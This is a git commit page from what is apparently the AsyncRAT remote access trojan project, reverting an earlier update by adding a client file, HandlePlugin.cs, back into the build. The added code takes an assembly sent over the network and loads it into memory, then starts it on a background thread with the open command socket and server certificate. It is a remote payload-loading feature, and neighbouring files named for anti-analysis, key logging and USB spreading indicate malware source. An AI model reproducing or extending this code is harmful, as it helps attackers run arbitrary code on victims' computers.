Revert "Update v0.5.2"
This reverts commit add6f4e73a04eafc3c0c482a361a36941928ed92.
This commit is contained in:
parent
5278a0b598
commit
b049d05f0d
@ -127,6 +127,7 @@
|
||||
<Compile Include="Handle Packet\Packet.cs" />
|
||||
<Compile Include="Handle Packet\HandleLimeLogger.cs" />
|
||||
<Compile Include="Handle Packet\HandleProcessManager.cs" />
|
||||
<Compile Include="Handle Packet\HandlePlugin.cs" />
|
||||
<Compile Include="Handle Packet\HandleSendTo.cs" />
|
||||
<Compile Include="Handle Packet\HandleLimeUSB.cs" />
|
||||
<Compile Include="Helper\Anti_Analysis.cs" />
|
||||
|
32
AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs
Normal file
32
AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs
Normal file
@ -0,0 +1,32 @@
|
||||
using Client.MessagePack;
|
||||
using Client.Connection;
|
||||
using System;
|
||||
using System.Threading;
|
||||
using System.Reflection;
|
||||
using System.Diagnostics;
|
||||
using Client.Helper;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandlePlugin
|
||||
{
|
||||
public HandlePlugin(MsgPack unpack_msgpack)
|
||||
{
|
||||
new Thread(delegate ()
|
||||
{
|
||||
try
|
||||
{
|
||||
Assembly plugin = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes());
|
||||
MethodInfo meth = plugin.GetType("Plugin.Plugin").GetMethod("Initialize");
|
||||
meth.Invoke(null, new object[] { ClientSocket.TcpClient, Settings.ServerCertificate });
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
Packet.Error(ex.Message);
|
||||
}
|
||||
})
|
||||
{ IsBackground = true }.Start();
|
||||
}
|
||||
}
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user